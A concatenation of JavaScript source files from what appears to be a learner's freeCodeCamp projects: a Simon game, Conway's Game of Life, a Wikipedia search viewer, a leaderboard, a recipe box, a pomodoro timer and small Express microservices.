function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
/*
Coded by <NAME> @rameshsyn || @ramesh_syn
======= SIMON =========
======= GAME ==========
*/
var tonePlayInterval, simonTimeOut; // setInterval global variables
var Simon = function (_React$Component) {
_inherits(Simon, _React$Component);
function Simon() {
_classCallCheck(this, Simon);
var _this = _possibleConstructorReturn(this, _React$Component.call(this));
_this.state = {
simonOn: false,
strict: false,
random: false,
colors: ['#1d4c1d', '#902828', '#868612', '#131a50'],
colorHighlights: ['green', 'red', 'yellow', 'blue'],
randomTones: [],
toneSeriesCount: 0,
level: 0,
tones: [new Audio('https://s3.amazonaws.com/freecodecamp/simonSound1.mp3'), new Audio('https://s3.amazonaws.com/freecodecamp/simonSound2.mp3'), new Audio('https://s3.amazonaws.com/freecodecamp/simonSound3.mp3'), new Audio('https://s3.amazonaws.com/freecodecamp/simonSound4.mp3')]
};
return _this;
}
// Initialization
Simon.prototype.init = function init() {
clearInterval(tonePlayInterval);
clearInterval(simonTimeOut);
this.setState({
randomTones: [],
level: 0,
toneSeriesCount: 0,
random: false
}, function () {
// Pushing random tone on callback
this.state.randomTones.push(this.randomTone());
});
this.toneButtonClickable(false);
};
// Generates random Tone
Simon.prototype.randomTone = function randomTone() {
return Math.floor(Math.random() * 4);
};
// Strict Mode
Simon.prototype.strict = function strict() {
if (this.state.strict) {
this.setState({
strict: false
});
$("#strict").css('color', '#fff');
} else {
this.setState({
strict: true
});
$("#strict").css('color', 'green');
}
};
// 5 Seconds Timer
Simon.prototype.timer = function timer() {
clearInterval(simonTimeOut);
var second = 0;
simonTimeOut = setInterval(timeOut.bind(this), 1000);
function timeOut() {
if (second === 5) {
if (this.state.strict) {
this.start();
$("#s-buttons").addClass("alert-flash");
this.toneButtonClickable(false);
this.state.tones[3].play();
} else {
this.wrongInput();
}
clearInterval(simonTimeOut);
} else {
second++;
}
}
};
// Plays and sets correspoding tone and color respectively
Simon.prototype.correspondToneColor = function correspondToneColor(id) {
this.state.tones[id].play();
$("#" + id.toString()).css("background", this.state.colorHighlights[id]);
// turns background color to initial state after one second
setTimeout(function () {
$("#" + id.toString()).css("background", this.state.colors[id]);
}.bind(this), 700);
};
// Plays tone Automatically
Simon.prototype.playTone = function playTone() {
var toneSeriesId = this.state.randomTones[this.state.toneSeriesCount];
this.correspondToneColor(toneSeriesId);
this.timer();
// Go to next step
if (this.state.toneSeriesCount + 1 === this.state.randomTones.length) {
clearInterval(tonePlayInterval);
this.toneButtonClickable(true);
this.setState({
toneSeriesCount: 0
});
} else {
// wait , i am not finished yet
this.setState({
toneSeriesCount: this.state.toneSeriesCount + 1
});
}
};
// user: Do as i do
Simon.prototype.userPlay = function userPlay(event) {
var toneId = event.target.id;
// Go random
if (this.state.random) {
this.correspondToneColor(toneId);
} else {
var toneSeriesId = this.state.randomTones[this.state.toneSeriesCount];
this.timer();
$("#s-buttons").removeClass("alert-flash");
// Wrong input ? Computer: I will repeat this
if (Number(toneId) !== toneSeriesId) {
if (this.state.strict) {
this.start();
$("#s-buttons").addClass("alert-flash");
this.toneButtonClickable(false);
this.state.tones[3].play();
} else {
this.wrongInput();
}
return false;
}
// Computer: Are you done ? Go to next level
else if (this.state.toneSeriesCount + 1 === this.state.randomTones.length) {
this.setState({
toneSeriesCount: 0
});
this.toneButtonClickable(false);
this.setState({
level: this.state.level + 1
});
if (this.state.level === 20) {
alert("Congratulation, It's Victory !!!");
}
this.state.randomTones.push(this.randomTone());
this.repeatThis();
} else {
this.setState({
toneSeriesCount: this.state.toneSeriesCount + 1
});
}
this.correspondToneColor(toneId);
}
};
// I am repeater
Simon.prototype.repeatThis = function repeatThis() {
tonePlayInterval = setInterval(function () {
this.playTone();
$("#s-buttons").removeClass('alert-flash');
}.bind(this), 1500);
};
// Let's start
Simon.prototype.start = function start() {
this.init();
$("#start").css('color', 'green');
$("#random").css('color', '#fff');
this.toneButtonClickable(false);
this.repeatThis();
};
// I warn you not to input wrong
Simon.prototype.wrongInput = function wrongInput() {
$("#s-buttons").addClass("alert-flash");
this.toneButtonClickable(false);
this.state.tones[3].play();
this.setState({
toneSeriesCount: 0
});
this.repeatThis();
};
// Let me be what these fucking guys say
Simon.prototype.toneButtonClickable = function toneButtonClickable(value) {
if (value) {
$("#0,#1,#2,#3").removeClass("unclickable");
} else {
$("#0,#1,#2,#3").addClass("unclickable");
}
};
// Computer: Wanna play random ? It's your time
Simon.prototype.playRandom = function playRandom() {
this.init();
this.toneButtonClickable(true);
$("#start").css('color', '#fff');
if (this.state.random) {
this.setState({
random: false
});
$("#random").css('color', '#fff');
} else {
this.setState({
random: true
});
$("#random").css('color', 'green');
}
};
// Live Or die
Simon.prototype.onOff = function onOff(event) {
this.init();
this.state.simonOn ? this.setState({
simonOn: false
}) : this.setState({
simonOn: true
});
if (this.state.simonOn) {
$("#random,#strict,#start").removeClass("unclickable");
$("#onOff").css("color", "green");
} else {
$("#random,#strict,#start").addClass("unclickable");
$("#onOff").css("color", "#fff");
}
this.toneButtonClickable(false);
$("#start").css('color', '#fff');
};
Simon.prototype.componentDidMount = function componentDidMount() {
this.onOff();
};
Simon.prototype.render = function render() {
return React.createElement(
'div',
{ className: 'simon' },
React.createElement(
'div',
{ className: 's-on-off', onClick: this.onOff.bind(this) },
React.createElement('i', { className: 'fa fa-power-off fa-3x', id: 'onOff', 'aria-hidden': 'true', title: 'Switch on/off' })
),
React.createElement(
'div',
{ className: 's-controls' },
React.createElement(
'div',
{ className: 's-info', id: 'info', title: 'Level' },
this.state.level
),
React.createElement(
'div',
{ className: 'controls' },
React.createElement('i', { className: 'fa fa-random fa-2x', 'aria-hidden': 'true', id: 'random', title: 'Play Random', onClick: this.playRandom.bind(this) }),
React.createElement('i', { className: 'fa fa-ban fa-2x', 'aria-hidden': 'true', id: 'strict', title: 'Strict', onClick: this.strict.bind(this) })
)
),
React.createElement(
'div',
{ className: 's-buttons', id: 's-buttons' },
React.createElement('div', { className: 'top-left', id: '0', onMouseDown: this.userPlay.bind(this) }),
React.createElement('div', { className: 'top-right', id: '1', onMouseDown: this.userPlay.bind(this) }),
React.createElement('div', { className: 'btm-left', id: '2', onMouseDown: this.userPlay.bind(this) }),
React.createElement('div', { className: 'btm-right', id: '3', onMouseDown: this.userPlay.bind(this) }),
React.createElement(
'div',
{ className: 'center' },
React.createElement('i', { className: 'fa fa-play-circle-o fa-4x', 'aria-hidden': 'true', id: 'start', title: 'Start', onClick: this.start.bind(this) })
)
)
);
};
return Simon;
}(React.Component);
ReactDOM.render(React.createElement(Simon, null), document.getElementById('simon'));<file_sep>/data-biz/game-of-life/src/js/reducers/gameStateReducer.js
/* Game of life overall state */
import { UPDATE_GENERATION } from '../actions/actionTypes';
const gameState = {
generation: 0,
speed: 100, // new board creation delay
colors: {
dead: '#000',
live: 'green',
border: '#fff'
}
};
export default function(state = gameState, { type, payload }) {
switch(type) {
case UPDATE_GENERATION:
return Object.assign({}, state, { generation: payload });
}
return state;
}<file_sep>/front-end/wikipedia-viewer/js/index.js
$(document).ready(function() {
$("#title").on("keyup",function() {
var title = $("#title").val();
var url = "http://crossorigin.me/https://en.wikipedia.org/w/api.php?action=opensearch&gsrnamespace=0&gsrlimit=10&format=json&search=" + title;
$.getJSON(url, function(result) {
var html = "";
for (var j = 0; j < result[1].length; j++) {
html += "<a href='" + result[3][j] + "' target='_blank'><div class='result'><h2>" + result[1][j] + "</h2> <p>" + result[2][j] + "</p></div></a>"
}
$(".result-area").html(html);
});
});
});<file_sep>/data-biz/game-of-life/src/js/reducers/index.js
import { combineReducers } from 'redux';
import Board from './boardReducer';
import GameState from './gameStateReducer';
const rootReducer = combineReducers({
board: Board,
gameState: GameState
});
export default rootReducer;<file_sep>/data-biz/game-of-life/src/js/actions/index.js
import updateCell from './updateCell';
import updateGeneration from './updateGeneration';
export { updateCell, updateGeneration };<file_sep>/data-biz/game-of-life/src/js/actions/actionTypes.js
const UPDATE_CELL = 'UPDATE_CELL';
const UPDATE_GENERATION = 'UPDATE_GENERATION';
export { UPDATE_CELL, UPDATE_GENERATION };<file_sep>/back-end/micro-service/header-parser/app.js
var express = require("express");
var app = express();
app.set('port',process.env.PORT || 8080);
app.get('/api/whoami',function(req,res) {
var lan = req.headers['accept-language'];
var soft = req.headers['user-agent'];
lan = lan.match(/.+,/g).toString();
soft = soft.match(/\(.+?\)/).toString();
res.json({
'ipaddress': req.headers['x-forwarded-for'] || res.connection.remoteAddress,
'language': lan,
'Software': soft
});
});
app.listen(app.get('port'),function(){
console.log('App running in port 8080');
});
<file_sep>/front-end/fcc-camper-leaderboard/js/index.js
'use strict';
// Coded By <NAME> @rameshsyn
var App = React.createClass({
displayName: 'App',
getInitialState: function getInitialState() {
return {
search: '',
data: [],
arrowRecent: true
};
},
loadData: function loadData() {
var url = arguments.length <= 0 || arguments[0] === undefined ? 'https://fcctop100.herokuapp.com/api/fccusers/top/recent' : arguments[0];
$.ajax({
url: url,
dataType: 'json',
cache: false,
success: function (data) {
this.setState({
data: data
});
}.bind(this),
error: function (xhr, status, err) {
console.error(url, status, err.toString());
}.bind(this)
});
},
componentDidMount: function componentDidMount() {
this.loadData(this.state.dataUrl);
},
updateDataUrl: function updateDataUrl(url, opt) {
this.loadData(url);
if (opt) {
this.setState({
arrowRecent: true
});
} else {
this.setState({
arrowRecent: false
});
}
},
updateSearch: function updateSearch(event) {
this.setState({
search: event.target.value
});
},
render: function render() {
var _this = this;
var recent = undefined,
alltime = undefined;
var filteredCamper = this.state.data.filter(function (camper) {
return camper['username'].toLowerCase().indexOf(_this.state.search.toLowerCase()) !== -1;
});
this.state.arrowRecent ? recent = "arrow-down" : alltime = "arrow-down";
return React.createElement(
'div',
{ className: 'panel panel-success' },
React.createElement(
'div',
{ className: 'panel-heading' },
React.createElement(
'b',
null,
'Camper Leaderboard '
)
),
React.createElement(
'div',
{ className: 'panel-body' },
React.createElement(
'table',
{ className: 'table table-responsive table-bordered table-hover' },
React.createElement(
'thead',
null,
React.createElement(
'tr',
null,
React.createElement(
'td',
{ colSpan: '4' },
React.createElement(
'span',
{ className: 'search-area' },
React.createElement('input', { type: 'text', className: 'search', placeholder: 'Search camper', value: this.state.search, onChange: this.updateSearch.bind(this) }),
React.createElement('i', { className: 'search-icon glyphicon glyphicon-search' })
)
)
),
React.createElement(
'tr',
null,
React.createElement(
'th',
null,
'# SN'
),
React.createElement(
'th',
null,
'Campers '
),
React.createElement(
'th',
{ onClick: this.updateDataUrl.bind(this, 'https://fcctop100.herokuapp.com/api/fccusers/top/recent', true) },
React.createElement(
'div',
{ className: 'options' },
'Recent (30 Days)'
),
React.createElement('div', { className: recent })
),
React.createElement(
'th',
{ onClick: this.updateDataUrl.bind(this, 'https://fcctop100.herokuapp.com/api/fccusers/top/alltime', false) },
React.createElement(
'div',
{ className: 'options' },
'All the time'
),
React.createElement('div', { className: alltime })
)
)
),
React.createElement(
'tbody',
null,
filteredCamper.map(function (camper, index) {
return React.createElement(Camper, { camper: camper, sn: index + 1 });
})
)
)
)
);
}
});
var Camper = React.createClass({
displayName: 'Camper',
render: function render() {
return React.createElement(
'tr',
null,
React.createElement(
'td',
null,
this.props.sn
),
React.createElement(
'td',
{ className: 'text-left' },
React.createElement('img', { className: 'camper-img', src: this.props.camper['img'] }),
React.createElement(
'a',
{ href: "https://freecodecamp.com/" + this.props.camper['username'], target: '_blank' },
this.props.camper['username']
)
),
React.createElement(
'td',
null,
this.props.camper['recent']
),
React.createElement(
'td',
null,
this.props.camper['alltime']
)
);
}
});
ReactDOM.render(React.createElement(App, null), document.getElementById('app'));<file_sep>/front-end/recipe-box/js/index.js
'use strict';
// Coded By <NAME> @rameshsyn
var Modal = ReactBootstrap.Modal,
// Modal component of React - Bootstrap
editClickValue = false,
recipeData;
// Local Storage checker
function storageAvailable(type) {
try {
var storage = window[type],
x = '__storage_test__';
storage.setItem(x, x);
storage.removeItem(x);
return true;
} catch (e) {
return false;
}
}
// Checking Local storage in user browser
// True: checks user added recipes
// True: saves user added recipes in recipeData Array
// False: Sets some Recipes in recipeData Array
// False: alerts - No local storage supports
if (storageAvailable('localStorage')) {
if (localStorage.getItem('rameshsyn_recipes')) {
recipeData = JSON.parse(localStorage.getItem('rameshsyn_recipes'));
} else {
recipeData = [{
"name": "Momo",
"gradient": ["Meat", "veg", "Sup", "Maida", "Tomato"]
}, {
"name": "Khir",
"gradient": ["Milk", "Sugar", "Cocunot", "Rice", "Sukamel"]
}];
}
} else {
alert("Sorry, Your Browser doesn't support Local Storage :D ");
}
// Updates changes like edit, delete , add recipes
function updateChanges() {
recipeData = JSON.parse(localStorage.getItem('rameshsyn_recipes'));
ReactDOM.render(React.createElement(App, { data: recipeData }), document.getElementById('app'));
}
function _editClick(value) {
editClickValue = value;
}
// A parent react component (App)
var App = React.createClass({
displayName: 'App',
getInitialState: function getInitialState() {
return {
recipes: this.props.data
};
},
editClick: function editClick() {
_editClick(false);
},
render: function render() {
var _this = this;
return React.createElement(
'div',
{ className: 'container-fluid' },
React.createElement(
'h1',
{ className: 'app-title' },
'Recipe Box'
),
React.createElement(
'div',
{ className: 'container' },
React.createElement(
'div',
{ title: 'Add New Recipe', className: 'glyphicon glyphicon-plus add-recipe pull-right', onClick: this.editClick.bind(this) },
React.createElement(AddEdit, { data: this.state.recipes })
),
React.createElement(
'div',
{ className: 'container recipe-box' },
this.state.recipes.map(function (recipe, i) {
return React.createElement(Recipe, { data: _this.state.recipes, name: recipe['name'], gradient: recipe['gradient'], id: i });
})
)
)
);
}
});
var Recipe = React.createClass({
displayName: 'Recipe',
getInitialState: function getInitialState() {
return {
showModal: false
};
},
close: function close() {
this.setState({
showModal: false
});
},
open: function open() {
this.setState({
showModal: true
});
},
removeRecipe: function removeRecipe(event) {
var recipeId = event.target.id;
this.props.data.splice(recipeId, 1);
localStorage.setItem('rameshsyn_recipes', JSON.stringify(this.props.data));
updateChanges();
this.setState({
showModal: false
});
},
editClick: function editClick() {
_editClick(true);
},
render: function render() {
return React.createElement(
'div',
{ className: 'recipe', id: this.props.id },
React.createElement(
Modal,
{ show: this.state.showModal, onHide: this.close },
React.createElement(
'div',
{ className: 'modal-content' },
React.createElement(
'div',
{ className: 'modal-header' },
React.createElement(
'button',
{ type: 'button', className: 'close', onClick: this.close },
React.createElement(
'span',
{ 'aria-hidden': 'true' },
'×'
)
),
React.createElement(
'h4',
{ className: 'modal-title' },
'Confirm Delete ! '
)
),
React.createElement(
'div',
{ className: 'modal-footer' },
React.createElement(
'button',
{ type: 'button', className: 'btn btn-danger', id: this.props.id, onClick: this.removeRecipe },
'Confirm'
),
React.createElement(
'button',
{ type: 'button', className: 'btn btn-success', onClick: this.close },
'Cancel'
)
)
)
),
React.createElement(
'h3',
null,
this.props.name,
React.createElement('i', { title: 'Remove Recipe', className: 'glyphicon glyphicon-remove pull-right remove-recipe', id: this.props.id, onClick: this.open })
),
React.createElement('hr', null),
React.createElement(
'div',
{ title: 'Ingradients', className: 'gradient' },
this.props.gradient.map(function (gradient) {
return React.createElement(
'span',
null,
gradient
);
})
),
React.createElement('hr', null),
React.createElement(
'div',
{ title: 'Edit Recipe', className: 'glyphicon glyphicon-edit edit', id: this.props.id, onClick: this.editClick.bind(this) },
React.createElement(AddEdit, { data: this.props.data, id: this.props.id, show: true })
)
);
}
});
var AddEdit = React.createClass({
displayName: 'AddEdit',
getInitialState: function getInitialState() {
return {
showModal: false
};
},
close: function close() {
this.setState({
showModal: false
});
},
open: function open() {
this.setState({
showModal: true
});
},
getInput: function getInput(event) {
event.preventDefault();
var data = this.props.data;
var recipes = undefined;
var name = $('#name').val();
if (name === "") name = "untitiled";
var gradient = $('#gradient').val().split(',');
var recipeId = event.target.id;
var recipe = {
name: name,
gradient: gradient
};
if (editClickValue) {
data.splice(recipeId, 1, recipe);
_editClick(false);
} else {
data.push(recipe);
}
localStorage.setItem('rameshsyn_recipes', JSON.stringify(data));
updateChanges();
this.setState({
showModal: false
});
},
render: function render() {
var title = "Add New Recipe";
var action = "Add New Recipe";
var actionClass = "glyphicon glyphicon-plus add-recipe pull-right";
var recipeId = undefined,
name = undefined,
gradient = undefined;
if (editClickValue) {
recipeId = this.props.id;
name = this.props.data[recipeId]['name'];
gradient = this.props.data[recipeId]['gradient'];
title = "Edit Recipe";
action = "Edit";
}
return React.createElement(
'div',
null,
React.createElement('i', { className: 'add-edit', onClick: this.open }),
React.createElement(
Modal,
{ show: this.state.showModal, onHide: this.close },
React.createElement(
'div',
{ className: 'modal-content' },
React.createElement(
'div',
{ className: 'modal-header' },
React.createElement(
'button',
{ type: 'button', className: 'close', onClick: this.close },
React.createElement(
'span',
{ 'aria-hidden': 'true' },
'×'
)
),
React.createElement(
'h4',
{ className: 'modal-title' },
title
)
),
React.createElement(
'div',
{ className: 'modal-body' },
React.createElement(
'form',
null,
React.createElement(
'div',
{ className: 'form-group' },
React.createElement(
'label',
{ 'for': 'name', className: 'control-label' },
'Name:'
),
React.createElement('input', { type: 'text', className: 'form-control', id: 'name', defaultValue: name, placeholder: 'Recipe Name' })
),
React.createElement(
'div',
{ className: 'form-group' },
React.createElement(
'label',
{ 'for': 'gradient', className: 'control-label' },
'Gradients:'
),
React.createElement('textarea', { className: 'form-control', id: 'gradient', defaultValue: gradient, placeholder: 'Separated by comma ....' })
)
)
),
React.createElement(
'div',
{ className: 'modal-footer' },
React.createElement(
'button',
{ type: 'button', className: 'btn btn-success', onClick: this.getInput, id: this.props.id },
action
),
React.createElement(
'button',
{ type: 'button', className: 'btn btn-danger', onClick: this.close },
'Close'
)
)
)
)
);
}
});
ReactDOM.render(React.createElement(App, { data: recipeData }), document.getElementById('app'));<file_sep>/back-end/micro-service/timestamp/routes/index.js
var express = require("express");
var router = express.Router();
router.get('/',function(req,res){
res.render('index');
});
router.get('/:time',function(req,res){
var time = req.params.time;
var timestamp = Date.parse(time);
var unix,natural;
if (isNaN(timestamp) == false) {
unix = Date.parse(new Date(timestamp));
natural = new Date(timestamp).toLocaleDateString();
}
else if(typeof Number(time) === 'number') {
unix = Number(time);
natural = new Date(unix).toLocaleDateString();
}
else {
unix = null;
natural = null;
}
res.json({
unix: unix,
natural: natural
});
});
module.exports = router;<file_sep>/data-biz/game-of-life/src/js/containers/board.js
/*
TECHNICAL PROGRAM FLOW.
1. As program starts, setInterval in componentDidMount() calls
drawCellsOnCanvas() , which then sets up canvas board and
calls neighbors() on each cell iteration.
2. neighbors() calls following functions.
- correspondingCell() : It calculates cells' neighbor
and corresponding neighbor.
- liveNeighborsCount() : Counts alive neighbors and returns it.
- checkLiveOrDead() : It determines cell's fate based on game
of life rules and calls updator() to update
cell's status.
3. updator() pushes cell's status on new array "newBoard".
4. After completion of these steps on every cells. drawCellsOnCanvas()
calls redux's action creator "updateCells()" to update new board to
store.
5. and assigns newBoard to empty array.
*/
import React, { Component } from 'react';
import { connect } from 'react-redux';
import { bindActionCreators } from 'redux';
import { updateCell, updateGeneration } from '../actions';
let newBoard = [];
/* Game */
class App extends Component {
constructor(props) {
super(props);
this.state = {
generation: props.gameState.generation,
play: true, // For play/pause icon toggle
interval: null
};
}
/* Resets board to initial state */
reset() {
const { totalCells, cells, cellHeight, cellWidth } = this.props.board;
//const cells = this.state.cells;
const { colors } = this.props.gameState;
const canvas = document.querySelector('canvas');
const ctx = canvas.getContext('2d');
// draws dead rectangle and updates every cell to dead.
for(let i = 0; i < totalCells; i++) {
this.updator(cells, cells[i].index, 'dead');
//this.props.updateCell(this.state.cells);
this.drawRectOnCanvas(ctx, cells[i].coords[0], cells[i].coords[1], cellWidth, cellHeight, colors.dead);
}
// set generation to zero
this.updateGeneration(0);
// Toggle play/pause icon
this.setState({
play: false
});
// Clear interval
clearInterval(this.state.interval);
// update board to dead cells
this.props.updateCell(newBoard);
newBoard = [];
}
/* Stop / run game */
playPause() {
// Toggle play/pause icon
this.setState({
play: !this.state.play
});
// Toggle interval.
if(this.state.play) {
clearInterval(this.state.interval);
} else {
const { speed } = this.props.gameState;
const interval = setInterval( () => {
this.updateGeneration(this.state.generation + 1);
this.drawCellsOnCanvas();
}, speed);
this.setState({
interval
});
}
}
/* Counts live neighbors */
liveNeighborsCount(neighbors, cells) {
let count = 0;
neighbors.forEach(neighbor => {
if(cells[neighbor].status === 'live') {
count++;
}
});
return count;
}
/* Calculates neighbor and it's Corresponding cell
if clicked cell is in the corner/end */
correspondingCell(cells, index) {
const { horizontalCells, totalCells } = this.props.board;
/* Neighbor */
// Assuming clicked cell in the middle.
let top = index - horizontalCells;
let topLeft = top - 1;
let topRight = top + 1;
let left = (index - 1);
let right = (index + 1);
let bottom = index + horizontalCells;
let bottomLeft = bottom - 1;
let bottomRight = bottom + 1;
/* Calculates correponding cell */
// top
if(cells[top] === undefined) {
top = totalCells - (horizontalCells - index);
topLeft = top - 1;
topRight = top + 1;
}
// bottom
if(cells[bottom] === undefined) {
bottom = horizontalCells - (totalCells - index);
bottomLeft = bottom - 1;
bottomRight = bottom + 1;
}
// right
if((index + 1) % horizontalCells === 0) {
right = index - horizontalCells + 1;
topRight = top - horizontalCells + 1;
bottomRight = bottom - horizontalCells + 1;
}
// left
if((index + 1) % horizontalCells === 1) {
left = index + horizontalCells - 1;
topLeft = top + horizontalCells - 1;
bottomLeft = bottom + horizontalCells - 1;
}
return [ topLeft, top, topRight, left, right, bottomLeft, bottom, bottomRight ];
}
/* Neighbor */
neighbors(context, cells, index, cellWidth, cellHeight, colors) {
const neighbors = this.correspondingCell(cells, index);
const liveNeighbors = this.liveNeighborsCount(neighbors, cells);
this.checkLiveOrDead(context, cells, index, cellWidth, cellHeight, liveNeighbors, colors);
}
/* Cell updator to data layer */
updator(cells, index, status) {
newBoard.push({
index: index,
coords: [cells[index].coords[0], cells[index].coords[1]],
status: status
});
}
/* Checks a cell is live or dead and update */
checkLiveOrDead(context, cells, index, cellWidth, cellHeight, liveNeighbors, colors) {
// lives if it has 2 | 3 neighbors
if((cells[index].status === 'live') && (liveNeighbors === 2 || liveNeighbors === 3)) {
this.updator(cells, index, 'live');
this.drawRectOnCanvas(context, cells[index].coords[0], cells[index].coords[1], cellWidth, cellHeight, colors.live);
// reproduce if it has 3 live neighbors
} else if (cells[index].status === 'dead' && liveNeighbors === 3) {
this.updator(cells, index, 'live');
this.drawRectOnCanvas(context, cells[index].coords[0], cells[index].coords[1], cellWidth, cellHeight, colors.live);
} else {
this.updator(cells, index, 'dead');
this.drawRectOnCanvas(context, cells[index].coords[0], cells[index].coords[1], cellWidth, cellHeight, colors.dead);
}
}
// draws a rectangle shape (cell) on canvas
drawRectOnCanvas(context, x, y, width, height, color) {
context.beginPath();
context.fillStyle = color;
context.rect(x, y, width, height);
context.fill();
context.stroke();
context.closePath();
}
// Creates Cells in canvas
drawCellsOnCanvas() {
const { totalCells, cells, cellWidth, cellHeight, height, width, cellBorderWidth } = this.props.board;
const { colors } = this.props.gameState;
const canvas = document.querySelector('canvas');
canvas.width = width;
canvas.height = height;
const ctx = canvas.getContext('2d');
ctx.lineWidth = cellBorderWidth;
ctx.strokeStyle = colors.border;
let deadCells = 0;
// Draws cells on canvas
for(let i = 0; i < totalCells; i++) {
// count dead cells
if(cells[i].status === 'dead') {
deadCells++;
}
// if all cells are dead
if(deadCells === totalCells) {
clearInterval(this.state.interval);
// Toggle play/pause icon
this.setState({
play: !this.state.play
});
this.updateGeneration(0);
}
this.neighbors(ctx, cells, cells[i].index, cellWidth, cellHeight, colors);
}
// Update new board.
this.props.updateCell(newBoard);
// new board
newBoard = [];
}
/* Finds a index of clicked cell and draws rectangle on clicked cell */
findClickedCellIndex(e) {
const { cellWidth,cells, cellHeight} = this.props.board;
//const cells = this.state.cells;
const { colors } = this.props.gameState;
const canvas = document.querySelector('canvas');
const ctx = canvas.getContext('2d');
// canvas position relative to viewport
const rect = canvas.getBoundingClientRect();
// Mouse position on canvas
let x = (e.clientX - rect.left);
let y = (e.clientY - rect.top);
// Actual cell position
x = Math.floor( x / cellWidth) * cellWidth;
y = Math.floor( y / cellHeight) * cellHeight;
// Searches clicked cell index
const clickedIndex = cells.findIndex(el => {
return el.coords[0] === x & el.coords[1] === y;
});
if(cells[clickedIndex].status === 'live') {
// update clicked cell to live
// but sorry Redux, small mutation :P
cells[clickedIndex].status = 'dead';
// draw new rectangle on clicked position
this.drawRectOnCanvas(ctx, x, y, cellWidth, cellHeight, colors.dead);
} else {
// update clicked cell to live
// but sorry Redux, small mutation :P
cells[clickedIndex].status = 'live';
// draw new rectangle on clicked position
this.drawRectOnCanvas(ctx, x, y, cellWidth, cellHeight, colors.live);
}
return clickedIndex;
}
/* Updates generation */
updateGeneration(value) {
this.setState({
generation: value
});
this.props.updateGeneration(value);
}
componentDidMount() {
const { speed } = this.props.gameState;
const interval = setInterval( () => {
this.updateGeneration(this.state.generation + 1);
this.drawCellsOnCanvas();
}, speed);
this.setState({
interval
});
}
render() {
return (
<div>
<i className='title'>Game of life</i>
<div className='info-box'>
<div>
Generations: <span>{ this.state.generation }</span>
</div>
<hr/>
<div>
<i
className={`fa ${this.state.play ? 'fa-pause-circle-o': 'fa-play-circle-o'} fa-2x`}
onClick={ () => this.playPause() }>
</i>
<i
className='fa fa-undo fa-2x'
onClick={ () => this.reset() }>
</i>
</div>
</div>
<canvas
className='board'
onClick={ (e) => this.findClickedCellIndex(e) }
/>
</div>
);
}
}
// maps redux store to react props
const mapStateToProps = ({ board, gameState }) => {
return { board, gameState };
};
// maps redux actions to react props
const mapDispatchToProps = (dispatch) => {
return bindActionCreators({ updateCell, updateGeneration }, dispatch);
};
export default connect(mapStateToProps, mapDispatchToProps)(App);
<file_sep>/back-end/micro-service/url-shortener/routes/routes.js
var express = require("express");
var mongoose = require("mongoose");
var router = express.Router();
mongoose.connect(process.env.MONGOLAB_URI); // connects to data database
// informs database connection
mongoose.connection.once('open',function(){
console.log("DB connected !");
});
var Schema = mongoose.Schema;
// makes new url schema
var urlSchema = new Schema({
original_URL: String,
shorten_URL: String,
shorten_id: Number
});
// makes model of urlSchema schema
var Url = mongoose.model("Url",urlSchema);
// generates random number
function ranNum() {
return Math.floor(Math.random() * 10000);
}
// serves to the index
router.get('/',function(req, res){
res.render('index');
});
// redirects to the original url
router.get('/:id',function(req,res,next){
if(req.params.id !== "favicon.ico") {
Url.find({shorten_id: Number(req.params.id)},function(err, url){
if(err) throw err;
res.redirect(url[0].original_URL);
});
}
else {
res.render('index');
}
});
// warns if url is not passed
router.get('/new/',function(req, res, next) {
res.json({"error": " Pass URL !"});
});
// if url is passed
router.get('/new/*', function(req, res, next) {
var shorten_id = ranNum();
var url = req.url.slice(5);
var validUrl = url.match(/((https?\:\/\/[www\.]?))\w+\.\w+(\.\w+\/)?(\/)?([\w\.\?#=]+)?/g);
if(validUrl) {
var newUrl = new Url({
original_URL: url,
shorten_URL: "https://bit-url.heruko.com/" + shorten_id,
shorten_id: shorten_id
});
newUrl.save(); // saves to the database
res.json({
original_URL: url,
shorten_URL: "https://bit-url.heruko.com/" + shorten_id
});
}
else {
res.json({
status: "Invalid URL"
})
}
});
module.exports = {
router: router,
Url: Url
};<file_sep>/data-biz/game-of-life/README.md
# Game of life
[Game of life ](https://en.wikipedia.org/wiki/Conway's_Game_of_Life)is a zero-player game. It follows two simple rules.
1. If the cell is alive, then it stays alive if it has either 2 or 3 live neighbors
2. If the cell is dead, then it springs to life only in the case that it has 3 live neighbors
-------------
It's freeCodeCamp [project](https://www.freecodecamp.com/challenges/build-the-game-of-life). I did it on the ocassion of [#100DaysOfCode](https://medium.freecodecamp.com/start-2017-with-the-100daysofcode-improved-and-updated-18ce604b237b#.44d1bgloi). <file_sep>/front-end/pomodoro-clock/js/index.js
// Coded by ========== <NAME> ==============
$(document).ready(function() {
var session = true;
// pomodoro object
pomodoro = {
SCountDown: 25,
BCountDown: 5,
minutes: 0,
seconds: 00,
progressV: 0,
perSecWidth: 0,
stopIt: '',
cProgress: undefined,
sessionTime: undefined,
progressToggle: function(whichSession) {
if(this.cProgress){
this.cProgress = false;
}
else {
this.progressV = 0;
this.perSecWidth = 378 / (whichSession * 60);
this.cProgress = false;
}
},
assignNewS: function() {
this.progressToggle(this.SCountDown);
this.sessionTime = true;
this.minutes = this.SCountDown;
arrowToggle("#arrow-b", "#arrow-s", ".session");
},
assignNewB: function() {
this.progressToggle(this.BCountDown);
this.sessionTime = false;
this.minutes = this.BCountDown;
arrowToggle("#arrow-s", "#arrow-b", ".break");
},
timeFormat: function() {
if (this.seconds < 10) {
return this.minutes + " : " + "0" + this.seconds;
}
return this.minutes + " : " + this.seconds;
},
secondsDown: function() {
$("#cd-time").text(this.timeFormat());
this.progress();
if ((this.minutes === 0) && (this.seconds === 0)) {
(this.sessionTime) ? this.assignNewB(): this.assignNewS();
}
if (this.seconds === 0) {
this.minutes--;
this.seconds = 60;
}
this.seconds--;
},
start: function() {
this.perSecWidth = 378 / (this.SCountDown * 60);
this.assignNewS();
this.stopIt = setInterval(secondDown, 1000);
},
stop: function() {
this.cProgress = true;
this.SCountDown = this.minutes;
clearInterval(this.stopIt);
},
reset: function() {
clearInterval(this.stopIt);
this.cProgress = false;
this.SCountDown = 25;
this.BCountDown = 5;
this.seconds = 0;
this.progressV = 0;
this.minutes = this.SCountDown;
var widthValue = this.progressV + 'px';
$(".count-down #progress").css("width", widthValue);
$("#s-time").text(this.SCountDown);
$("#b-time").text(this.BCountDown);
$("#cd-time").text("25 : 00");
